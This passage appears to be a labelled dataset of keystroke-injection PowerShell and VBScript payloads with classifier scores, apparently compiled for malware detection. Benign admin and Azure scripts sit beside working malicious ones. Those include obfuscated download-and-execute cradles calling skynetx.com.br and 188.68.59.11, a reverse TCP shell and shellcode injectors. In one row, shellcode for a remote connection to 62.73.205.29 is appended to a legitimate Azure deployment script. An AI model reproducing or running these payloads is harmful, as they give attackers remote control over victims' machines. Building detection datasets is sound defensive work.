Add-AzSqlInstanceKeyVaultKey -KeyId $params.keyId enter Assert-AreEqual $params.keyId $keyResult.KeyId ""KeyId mismatch after calling Add-AzSqlInstanceKeyVaultKey"" enter Assert-AreEqual $params.serverKeyName $keyResult.ManagedInstanceKeyName ""ManagedInstanceKeyName mismatch after calling Add-AzSqlInstanceKeyVaultKey"" enter $keyResult2 = $managedInstance | Get-AzSqlInstanceKeyVaultKey -KeyId $params.keyId enter Assert-AreEqual $params.keyId $keyResult2.KeyId ""KeyId mismatch after calling Get-AzSqlInstanceKeyVaultKey"" enter Assert-AreEqual $params.serverKeyName $keyResult2.ManagedInstanceKeyName ""ManagedInstanceKeyName mismatch after calling Get-AzSqlInstanceKeyVaultKey"" enter $keyResults = $managedInstance | Get-AzSqlInstanceKeyVaultKey enter Assert-True {$keyResults.Count -gt 0} ""List count <= 0 after calling (List) Get-AzSqlInstanceKeyVaultKey without KeyId"" enter } enter",0,0,0.9997907,0.0002092812
"win+r enter powershell enter enter enter param( enter [string]$Version, enter [string]$Path, enter [switch]$Force, enter $Update, enter [switch]$Uninstall enter ) enter $Configs = @{ enter Url = ""http://netcologne.dl.sourceforge.net/project/keepass/KeePass%202.x/2.27/KeePass-2.27-Setup.exe"" enter Path = ""$(Split-Path -Path $MyInvocation.MyCommand.Definition -Parent)\"" enter } enter enter $Configs | ForEach-Object{ enter enter try{ enter enter $_.Result = $null enter if(-not $_.Path){$_.Path = $Path} enter $Config = $_ enter if(-not $Uninstall){ enter if($_.ConditionExclusion){ enter $_.ConditionExclusionResult = $(Invoke-Expression $Config.ConditionExclusion -ErrorAction SilentlyContinue) enter } enter if(($_.ConditionExclusionResult -eq $null) -or $Force){ enter $_.Downloads = $_.Url | ForEach-Object{ enter Get-File -Url $_ -Path $Config.Path enter } enter $_.Downloads | ForEach-Object{ enter Start-Process -FilePath $(Join-Path $_.Path $_.Filename) -ArgumentList ""/VERYSILENT /NORESTART"" -Wait enter } enter $Executable = ""C:\Program Files (x86)\KeePass Password Safe 2\KeePass.exe"";if(Test-Path $Executable){Set-Content -Path (Join-Path $PSbin.Path ""KeePass.bat"") -Value ""@echo off`nstart `""`"" `""$Executable`"" %*""} enter $_.Downloads | ForEach-Object{ enter Remove-Item $(Join-Path $_.Path $_.Filename) enter } enter if($Update){$_.Result = ""AppUpdated"";$_ enter }else{$_.Result = ""AppInstalled"";$_} enter }else{ enter enter $_.Result = ""ConditionExclusion"";$_ enter } enter }else{ enter enter if(Test-Path (Join-Path $PSbin.Path ""KeePass.bat"")){Remove-Item (Join-Path $PSbin.Path ""KeePass.bat"")} enter enter $Executable = ""C:\Program Files (x86)\KeePass Password Safe 2\unins000.exe""; if(Test-Path $Executable){Start-Process -FilePath $Executable -ArgumentList ""/VERYSILENT /NORESTART"" -Wait} enter enter $_.Result = ""AppUninstalled"";$_ enter } enter }catch{ enter enter $Config.Result = ""Error"";$Config enter } enter } enter enter",0,0,0.9997867,0.00021328291
"win+r powershell enter function Find-SPOFieldName { [CmdletBinding()] param ( [Parameter(Mandatory= enter $true, Position=1)] [string] $listTitle, [Parameter(Mandatory=$true, Positi enter on=2)] [string] $displayName ) enter enter",1,1,0.0019979863,0.998002
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_ua2zsthd"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting scheduled_task_inventory section 1."" enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 200 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_enabled_tasks.csv"") -NoTypeInformation enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Export-Csv -Path (Join-Path $ReportDir ""disk_filesystem_provider.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3822784e-05
"win+r powershell enter [xml]$golden_gpo = gc '.\IE Settings.xml' $gpos = Get-GPOReport -All -ReportType enter XML $golden_gpo_computer_registry_settings = ($golden_gpo.GPO.Computer.Extensi enter onData | ? {$_.Name -eq 'Registry'}).childNodes.Policy | select name,state $gold enter en_gpo_user_ie_pref_settings = ($golden_gpo.GPO.User.ExtensionData | ? {$_.Name enter -eq 'Internet Options'}).childNodes.InternetOptions.IE8.Properties.Reg $golden_c enter omputer_ie_settings = ($golden_gpo.GPO.Computer.ExtensionData | ? { $_.Name -eq enter 'Registry' }).childNodes.Policy | ? {$_.Category -like 'Windows Components/Inter enter net Explorer*'} | select name,state foreach ($gpo in $gpos){ [xml]$gpo = $gpo enter $gpo_computer_registry_settings = ($gpo.GPO.Computer.ExtensionData | ? {$_.Nam enter e -eq 'Registry'}).childNodes.Policy | select name,state $gpo_user_ie_pref_sett enter ings = ($gpo.GPO.User.ExtensionData | ? {$_.Name -eq 'Internet Options'}).childN enter odes.InternetOptions enter enter",1,1,0.00079658226,0.9992034
unknown_key_action ID 05ac:021e Apple:Keyboard enter delay_medium enter unknown_key_action GUI SPACE enter delay_short enter terminal enter delay_medium enter enter enter delay_medium enter open -a Safari 'https://www.youtube.com/watch?v=dQw4w9WgXcQ' enter delay_medium enter enter enter delay_medium enter unknown_key_action F12 enter delay_medium enter unknown_key_action F12 enter delay_medium enter unknown_key_action F12 enter delay_medium enter unknown_key_action F12 enter delay_medium enter unknown_key_action F12 enter delay_medium enter unknown_key_action F12 enter delay_medium enter unknown_key_action F12 enter delay_medium enter unknown_key_action F12 enter delay_medium enter unknown_key_action F12 enter delay_medium enter unknown_key_action F12 enter delay_medium enter unknown_key_action F12 enter delay_medium enter unknown_key_action F12 enter delay_medium enter unknown_key_action F12 enter delay_medium enter unknown_key_action F12 enter delay_medium enter unknown_key_action F12 enter delay_medium enter unknown_key_action F12 enter delay_medium enter unknown_key_action F12 enter delay_medium enter unknown_key_action F12 enter delay_medium enter unknown_key_action F12 enter delay_medium enter unknown_key_action F12 enter delay_medium,1,1,5.8910668e-05,0.9999411
"win+r enter powershell enter enter enter Set trrmxvyb = CreateObject(Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(""OEFpSleGvJLReEHDyCQdVRRvZddnYLfmOzaoMyfrleGvJnuIOcOyncGzVOkLzVOkL"", ""OEFpS"", ""w""), ""leGvJ"", ""s""), ""LReEH"", ""c""), ""DyCQd"", ""r""), ""VRRvZ"", ""i""), ""ddnYL"", ""p""), ""fmOza"", ""t""), ""oMyfr"", "".""), ""nuIOc"", ""h""), ""OyncG"", ""e""), ""zVOkL"", ""l"")) enter ovmdokdh = (""POWeRS"") enter trrmxvyb.Run((ovmdokdh)+""HeLL.eXe -WIND HIDDeN -eXeC BYPASS -NONI $SEYUSEHSEYH='IeX(NeW-OBJeCT NeT.W';$SEYSYSET='eBCLIeNT).DOWNLO';Sleep 2;[BYTe[]];Sleep 3;$HJDRRRUY='TUYDRDFDNYRDBBTRDVTDTNDRNJUYUMFUTDBT(''http://skynetx.com.br/info2.jpg'')'.RePLACe('TUYDRDFDNYRDBBTRDVTDTNDRNJUYUMFUTDBT','ADSTRING');Sleep 1;IeX($SEYUSEHSEYH+$SEYSYSET+$HJDRRRUY);""), CONSOLE_HIDE, CMD_WAIT enter Set ali = Nothing enter enter",1,1,5.5705776e-05,0.9999443
"win+r powershell enter $wc=New-OBjEct SysTEm.NET.WEbClienT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trid enter ent/7.0; rv:11.0) like Gecko';$wC.HEADERS.ADD('User-Agent',$u);$WC.PrOxy = [SYST enter eM.NEt.WebREQuEsT]::DEfAuLtWEBPrOxy;$wC.PROxY.CrEdENtiAlS = [SySTEm.NEt.CrEdENti enter alCAChe]::DEfAulTNetwORKCReDENtIALs;$K='uwHNGYlK*RWa.$6B?1|O@AboZ[;vj/+d';$I=0;[ enter cHAR[]]$b=([ChaR[]]($WC.DOwnLOAdStRiNg(""http://188.68.59.11:8081/index.asp"")))|% enter {$_-BXoR$K[$i++%$k.LEngth]};IEX ($B-Join'') enter enter",1,1,5.647057e-05,0.9999435
win+r powershell enter win r powershell enter function rrfolder {mkdir never_gonna_give_you_up;mkdir never_gonna_let_you_down;mkdir never_gonna_run_around_and_desert_you;mkdir never_gonna_make_you_cry;mkdir never_gonna_say_goodbye;mkdir never_gonna_tell_a_lie_and_hurt_you;} enter cd c:\users\$env:username\desktop;rrfolder;cd c:\users\$env:username\downloads;rrfolder;cd c:\users\$env:username\documents;rrfolder;cd c:\users\$env:username\favorites;rrfolder;cd c:\users\$env:username\links;rrfolder;cd c:\users\$env:username\music;rrfolder;cd c:\users\$env:username\videos;rrfolder;cd c:\users\$env:username\contacts;rrfolder; enter exit enter enter,1,1,8.7010245e-05,0.999913
"win r powershell -nop -noni -w h enter enter $=[type]('text'+'.encod'+'ing');$=.('new'+'-obj'+'ect') system.net.sockets.tcpclient( address , port );$=$.getstream();[byte[]]$b=0..65535|&('%'){0};while(($=$.read($b,0,$b.length))-ne 0){;$d=(&('new'+'-ob'+'ject') -typename system.text.asciiencoding).getstring($b,0,$);$x=(&('ie'+'x') $d 2>&1",1,1,0.00044588224,0.9995541
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xd5,0x98,0xa1,0x65,0x68,0x02,0x00,0x99,0x26,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.184467e-05,0.99994814
"unknown_key_action ATTACKMODE HID STORAGE enter delay_long enter Hello, World! enter enter enter unknown_key_action RESTART_PAYLOAD enter Nothing to see here. enter enter",1,1,6.3745196e-05,0.9999362
"win+r enter powershell enter enter enter [CmdletBinding()] enter Param ( enter [Parameter(Mandatory=$false)] enter [ValidateSet('Install','Uninstall')] enter [string]$DeploymentType = 'Install', enter [Parameter(Mandatory=$false)] enter [ValidateSet('Interactive','Silent','NonInteractive')] enter [string]$DeployMode = 'Interactive', enter [Parameter(Mandatory=$false)] enter [switch]$AllowRebootPassThru = $false, enter [Parameter(Mandatory=$false)] enter [switch]$TerminalServerMode = $false enter ) enter enter Try { enter enter Try { Set-ExecutionPolicy -ExecutionPolicy 'ByPass' -Scope 'Process' -Force -ErrorAction 'Stop' } Catch {} enter [scriptblock]$Variables_Application = { enter [string]$appVendor = 'PSAppDeployToolkit' enter [string]$appName = 'Test Script' enter [string]$appVersion = '1.0' enter [string]$appArch = '' enter [string]$appLang = 'EN' enter [string]$appRevision = '01' enter [string]$appScriptVersion = '3.5.0' enter [string]$appScriptDate = '11/03/2014' enter [string]$appScriptAuthor = 'Dan Cunningham' enter } enter .$Variables_Application enter [scriptblock]$Variables_AllScriptParams = { enter [string]$DeploymentType = $DeploymentType enter [string]$DeployMode = $DeployMode enter [switch]$AllowRebootPassThru = $AllowRebootPassThru enter [switch]$TerminalServerMode = $TerminalServerMode enter } enter [int32]$mainExitCode = 0 enter $script:mainPSBoundParams = $PSBoundParameters enter [scriptblock]$Variables_Script = { enter enter [string]$deployAppScriptFriendlyName = 'Deploy Application' enter [version]$deployAppScriptVersion = [version]'4.0.0' enter [string]$deployAppScriptDate = '11/12/2014' enter enter [hashtable]$deployAppScriptParameters = $script:mainPSBoundParams enter } enter .$Variables_Script enter Try { enter [string]$scriptDirectory = Split-Path -Path $MyInvocation.MyCommand.Definition -Parent enter [string]$moduleAppDeployToolkitMain = ""$scriptDirectory\AppDeployToolkit\AppDeployToolkitMain.ps1"" enter If (-not (Test-Path -Path $moduleAppDeployToolkitMain -PathType Leaf)) { Throw ""Module does not exist at the specified location [$moduleAppDeployToolkitMain]."" } enter . $moduleAppDeployToolkitMain enter } enter Catch { enter [int32]$mainExitCode = 1 enter Write-Error -Message ""Module [$moduleAppDeployToolkitMain] failed to load: `n$($_.Exception.Message)`n `n$($_.InvocationInfo.PositionMessage)"" -ErrorAction 'Continue' enter Exit $mainExitCode enter } enter If ($deploymentType -ine 'Uninstall') { enter [scriptblock]$Variables_InstallPhase = { [string]$installPhase = 'Pre-Installation' }; .$Variables_InstallPhase enter Show-InstallationWelcome -AllowDefer -DeferTimes 100 enter Show-InstallationWelcome -CloseApps 'iexplore' -CloseAppsCountdown 60 -CheckDiskSpace -PersistPrompt -BlockExecution enter [scriptblock]$Variables_InstallPhase = { [string]$installPhase = 'Installation' }; .$Variables_InstallPhase enter Show-InstallationProgress -StatusMessage 'BlockExecution Test: Open Internet Explorer or an Office application within 10 seconds...' enter Start-Sleep -Seconds 10 enter Show-InstallationProgress -StatusMessage 'MSI Installation And Removal Test...' enter Execute-MSI -Action Install -Path 'PSAppDeployToolkit_TestInstallation_1.0.0_EN_01.msi' enter Remove-MSIApplications -Name 'Test Installation (Testing) [Testing]' enter Show-InstallationProgress -StatusMessage 'x86 File Manipulation And DLL Registration Test...' enter Copy-File -Path ""$dirSupportFiles\AutoItX3.dll"" -Destination ""$envWinDir\SysWOW64\AutoItx3.dll"" enter Register-DLL -FilePath ""$envWinDir\SysWOW64\AutoItx3.dll"" enter Unregister-DLL -FilePath ""$envWinDir\SysWOW64\AutoItx3.dll"" enter Remove-File -Path ""$envWinDir\SysWOW64\AutoItx3.dll"" enter Show-InstallationProgress -StatusMessage 'x64 File Manipulation And DLL Registration Test...' enter Copy-File -Path ""$dirSupportFiles\AutoItX3_x64.dll"" -Destination ""$envWinDir\System32\AutoItx3.dll"" enter Register-DLL -FilePath ""$envWinDir\System32\AutoItx3.dll"" enter Unregister-DLL -FilePath ""$envWinDir\System32\AutoItx3.dll"" enter Remove-File -Path ""$envWinDir\System32\AutoItx3.dll"" enter Show-InstallationProgress -StatusMessage 'Shortcut Creation Test...' enter New-Shortcut -Path ""$envProgramData\Microsoft\Windows\Start Menu\My Shortcut.lnk"" -TargetPath ""$envWinDir\system32 enter otepad.exe"" -IconLocation ""$envWinDir\system32 enter otepad.exe"" -Description 'Notepad' -WorkingDirectory ""$envHomeDrive\$envHomePath"" enter Show-InstallationProgress -StatusMessage 'Pinned Application Test...' enter Set-PinnedApplication -Action 'PintoStartMenu' -FilePath ""$envWinDir\Notepad.exe"" enter Set-PinnedApplication -Action 'PintoTaskBar' -FilePath ""$envWinDir\Notepad.exe"" enter [scriptblock]$Variables_InstallPhase = { [string]$installPhase = 'Post-Installation' }; .$Variables_InstallPhase enter Show-InstallationProgress -StatusMessage 'Execute Process Test: Close Notepad to proceed...' enter If (-not $IsProcessUserInteractive) { enter Invoke-PSCommandAsUser -Command { Execute-Process -FilePath 'Notepad' } enter } enter Else { enter Execute-Process -FilePath 'Notepad' enter } enter Show-InstallationPrompt -Message 'Asynchronous Installation Prompt Test: The installation should complete in the background. Click OK to dismiss...' -ButtonRightText 'OK' -Icon 'Information' -NoWait enter Start-Sleep -Seconds 10 enter Remove-File -Path ""$envProgramData\Microsoft\Windows\Start Menu\My Shortcut.lnk"" enter Set-PinnedApplication -Action 'UnPinFromStartMenu' -FilePath ""$envWinDir\Notepad.exe"" enter Set-PinnedApplication -Action 'UnPinFromTaskBar' -FilePath ""$envWinDir\Notepad.exe"" enter } enter ElseIf ($deploymentType -ieq 'Uninstall') { enter [scriptblock]$Variables_InstallPhase = { [string]$installPhase = 'Post-Uninstallation' }; .$Variables_InstallPhase enter Show-InstallationWelcome -CloseApps 'iexplore' -CloseAppsCountdown 60 enter [scriptblock]$Variables_InstallPhase = { [string]$installPhase = 'Uninstallation' }; .$Variables_InstallPhase enter Show-InstallationProgress -StatusMessage 'MSI Uninstallation Test...' enter Execute-MSI -Action Uninstall -Path 'PSAppDeployToolkit_TestInstallation_1.0.0_EN_01.msi' enter [scriptblock]$Variables_InstallPhase = { [string]$installPhase = 'Post-Uninstallation' }; .$Variables_InstallPhase enter } enter Exit-Script -ExitCode $mainExitCode enter } enter Catch { enter [int32]$mainExitCode = 1 enter [string]$mainErrorMessage = ""$(Resolve-Error)"" enter Write-Log -Message $mainErrorMessage -Severity 3 -Source $deployAppScriptFriendlyName enter Show-DialogBox -Text $mainErrorMessage -Icon 'Stop' | Out-Null enter Exit-Script -ExitCode $mainExitCode enter } enter enter",0,0,0.9999434,5.6676014e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""ops_check_0e2qx5ts"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting disk_checks section 1."" enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Export-Csv -Path (Join-Path $ReportDir ""disk_filesystem_provider.csv"") -NoTypeInformation enter Write-Host ""Starting network_checks section 2."" enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_net_connection_profile.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.436838e-05
"win+r enter powershell enter enter enter $cred = Get-Credential enter New-AzVmss ` enter -ResourceGroupName ""myResourceGroup"" ` enter -VMScaleSetName ""myScaleSet"" ` enter -Location ""EastUS"" ` enter -VirtualNetworkName ""myVnet"" ` enter -SubnetName ""mySubnet"" ` enter -PublicIpAddressName ""myPublicIPAddress"" ` enter -LoadBalancerName ""myLoadBalancer"" ` enter -UpgradePolicyMode ""Automatic"" ` enter -Credential $cred enter $customConfig = @{ enter ""fileUris"" = (,""https://raw.githubusercontent.com/Azure-Samples/compute-automation-configurations/master/automate-iis.ps1""); enter ""commandToExecute"" = ""powershell -ExecutionPolicy Unrestricted -File automate-iis.ps1"" enter } enter $vmss = Get-AzVmss ` enter -ResourceGroupName ""myResourceGroup"" ` enter -VMScaleSetName ""myScaleSet"" enter $vmss = Add-AzVmssExtension ` enter -VirtualMachineScaleSet $vmss ` enter -Name ""customScript"" ` enter -Publisher ""Microsoft.Compute"" ` enter -Type ""CustomScriptExtension"" ` enter -TypeHandlerVersion 1.8 ` enter -Setting $customConfig enter Update-AzVmss ` enter -ResourceGroupName ""myResourceGroup"" ` enter -Name ""myScaleSet"" ` enter -VirtualMachineScaleSet $vmss enter Get-AzPublicIpAddress -ResourceGroupName ""myResourceGroup"" | Select IpAddress enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x74,0x74,0x70,0x00,0x68,0x77,0x69,0x6e,0x68,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x68,0x74,0x33,0x32,0x00,0x68,0x63,0x72,0x79,0x70,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x31,0xdb,0x53,0x53,0x53,0x53,0x53,0x68,0x04,0x1f,0x9d,0xbb,0xff,0xd5,0x50,0x53,0x68,0xbb,0x01,0x00,0x00,0xe8,0xdb,0x02,0x00,0x00,0x68,0x00,0x74,0x00,0x74,0x00,0x70,0x00,0x73,0x00,0x3a,0x00,0x2f,0x00,0x2f,0x00,0x36,0x00,0x32,0x00,0x2e,0x00,0x37,0x00,0x33,0x00,0x2e,0x00,0x32,0x00,0x30,0x00,0x35,0x00,0x2e,0x00,0x32,0x00,0x39,0x00,0x2f,0x00,0x78,0x00,0x53,0x00,0x76,0x00,0x4c,0x00,0x65,0x00,0x61,0x00,0x63,0x00,0x65,0x00,0x4f,0x00,0x74,0x00,0x6d,0x00,0x51,0x00,0x4e,0x00,0x5a,0x00,0x45,0x00,0x30,0x00,0x79,0x00,0x44,0x00,0x45,0x00,0x6f,0x00,0x67,0x00,0x77,0x00,0x4d,0x00,0x48,0x00,0x45,0x00,0x67,0x00,0x30,0x00,0x61,0x00,0x46,0x00,0x6a,0x00,0x7a,0x00,0x74,0x00,0x41,0x00,0x64,0x00,0x68,0x00,0x4b,0x00,0x4c,0x00,0x78,0x00,0x79,0x00,0x6f,0x00,0x4c,0x00,0x7a,0x00,0x32,0x00,0x39,0x00,0x48,0x00,0x71,0x00,0x61,0x00,0x6b,0x00,0x5a,0x00,0x72,0x00,0x7a,0x00,0x5a,0x00,0x69,0x00,0x55,0x00,0x56,0x00,0x71,0x00,0x66,0x00,0x61,0x00,0x6b,0x00,0x6f,0x00,0x37,0x00,0x73,0x00,0x75,0x00,0x70,0x00,0x7a,0x00,0x7a,0x00,0x49,0x00,0x6a,0x00,0x57,0x00,0x37,0x00,0x37,0x00,0x46,0x00,0x35,0x00,0x45,0x00,0x65,0x00,0x76,0x00,0x66,0x00,0x49,0x00,0x45,0x00,0x75,0x00,0x79,0x00,0x6f,0x00,0x31,0x00,0x6a,0x00,0x77,0x00,0x53,0x00,0x75,0x00,0x70,0x00,0x55,0x00,0x72,0x00,0x58,0x00,0x71,0x00,0x54,0x00,0x55,0x00,0x62,0x00,0x56,0x00,0x36,0x00,0x45,0x00,0x36,0x00,0x72,0x00,0x47,0x00,0x7a,0x00,0x33,0x00,0x6f,0x00,0x78,0x00,0x6a,0x00,0x36,0x00,0x55,0x00,0x67,0x00,0x46,0x00,0x43,0x00,0x53,0x00,0x5f,0x00,0x4f,0x00,0x5a,0x00,0x5f,0x00,0x6b,0x00,0x43,0x00,0x47,0x00,0x2d,0x00,0x6f,0x00,0x76,0x00,0x6f,0x00,0x69,0x00,0x2d,0x00,0x70,0x00,0x74,0x00,0x55,0x00,0x2d,0x00,0x36,0x00,0x41,0x00,0x55,0x00,0x36,0x00,0x67,0x00,0x37,0x00,0x61,0x00,0x6a,0x00,0x56,0x00,0x39,0x00,0x65,0x00,0x45,0x00,0x63,0x00,0x54,0x00,0x43,0x00,0x4d,0x00,0x68,0x00,0x79,0x00,0x37,0x00,0x63,0x00,0x42,0x00,0x52,0x00,0x65,0x00,0x66,0x00,0x59,0x00,0x4a,0x00,0x30,0x00,0x53,0x00,0x31,0x00,0x73,0x00,0x50,0x00,0x57,0x00,0x42,0x00,0x76,0x00,0x66,0x00,0x71,0x00,0x59,0x00,0x7a,0x00,0x50,0x00,0x4b,0x00,0x00,0x00,0x83,0xc7,0x28,0x50,0x68,0x46,0x9b,0x1e,0xc2,0xff,0xd5,0x68,0x00,0x01,0x80,0x00,0x53,0x53,0x53,0x57,0x53,0x50,0x68,0x98,0x10,0xb3,0x5b,0xff,0xd5,0x96,0x83,0xec,0x10,0x89,0xe0,0x57,0x89,0xc7,0x57,0x68,0x21,0xa7,0x0b,0x60,0xff,0xd5,0x85,0xc0,0x74,0x4d,0x8b,0x47,0x04,0x85,0xc0,0x74,0x2a,0x5a,0x83,0xea,0x28,0x6a,0x01,0x53,0x53,0x50,0x6a,0x03,0x6a,0x03,0x89,0xe0,0x83,0xec,0x0c,0x89,0xe7,0x57,0x50,0x52,0x8d,0x44,0x24,0x40,0xff,0x30,0x68,0xda,0xdd,0xea,0x49,0xff,0xd5,0x85,0xc0,0x74,0x1e,0xeb,0x0f,0x8b,0x47,0x08,0x85,0xc0,0x74,0x15,0x6a,0x04,0x58,0x01,0xc7,0x48,0x89,0x07,0x6a,0x0c,0x57,0x6a,0x26,0x56,0x68,0xd3,0x58,0x9d,0xce,0xff,0xd5,0x68,0x00,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0xd3,0x58,0x9d,0xce,0xff,0xd5,0x6a,0x0a,0x5f,0x53,0x53,0x53,0x53,0x53,0x53,0x56,0x68,0x95,0x58,0xbb,0x91,0xff,0xd5,0x85,0xc0,0x75,0x08,0x4f,0x75,0xeb,0xe8,0xcd,0x00,0x00,0x00,0x6a,0x04,0x89,0xe1,0x6a,0x00,0x89,0xe3,0x51,0x53,0x6a,0x4e,0x56,0x68,0x78,0x04,0x2f,0x27,0xff,0xd5,0x85,0xc0,0x74,0xe3,0x6a,0x14,0x89,0xe1,0x2b,0x21,0x89,0xe7,0x51,0x57,0x6a,0x03,0xff,0x33,0x68,0x2d,0x6e,0xa9,0xc3,0xff,0xd5,0x85,0xc0,0x74,0xca,0xe8,0x14,0x00,0x00,0x00,0x07,0x54,0xc8,0xb6,0x81,0x04,0x0c,0xec,0xb1,0x91,0xcb,0xe7,0x3e,0x0d,0x72,0x8f,0xa3,0xaa,0x3e,0xb7,0x5b,0x6a,0x04,0x59,0x89,0xca,0x8b,0x03,0x3b,0x07,0x0f,0x85,0xa1,0xff,0xff,0xff,0x01,0xd3,0x01,0xd7,0xe2,0xf0,0x31,0xdb,0x53,0x56,0x68,0x05,0x88,0x9d,0x70,0xff,0xd5,0x85,0xc0,0x0f,0x84,0x88,0xff,0xff,0xff,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x53,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x6c,0x29,0x24,0x7e,0xff,0xd